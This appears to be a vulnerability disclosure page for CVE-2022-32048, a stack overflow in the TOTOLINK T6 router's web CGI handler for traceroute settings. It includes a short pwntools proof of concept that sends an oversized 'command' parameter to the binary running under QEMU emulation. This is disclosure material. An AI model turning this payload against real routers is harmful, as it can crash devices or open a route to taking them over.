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CVE-2022-32048: IoT-vuln/Totolink/T6-v2/10.setTracerouteCfg at main · d1tto/IoT-vuln

TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the command parameter in the function FUN_0041cc88.

CVE
#vulnerability#web#js#acer

The vulnerability exists in the router’s WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041cc88 (at address 0x41cc88) gets the JSON parameter command, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

from pwn import * import json

data = { "topicurl": "setting/setTracerouteCfg", "command": "A"*0x400, "num": “0” }

data = json.dumps(data) print(data)

argv = [ "qemu-mipsel-static", "-g", "1234", "-L", "./root/", "-E", "CONTENT_LENGTH={}".format(len(data)), "-E", "REMOTE_ADDR=192.168.2.1", “./cstecgi.cgi” ]

a = process(argv=argv) a.sendline(data.encode())

a.interactive()

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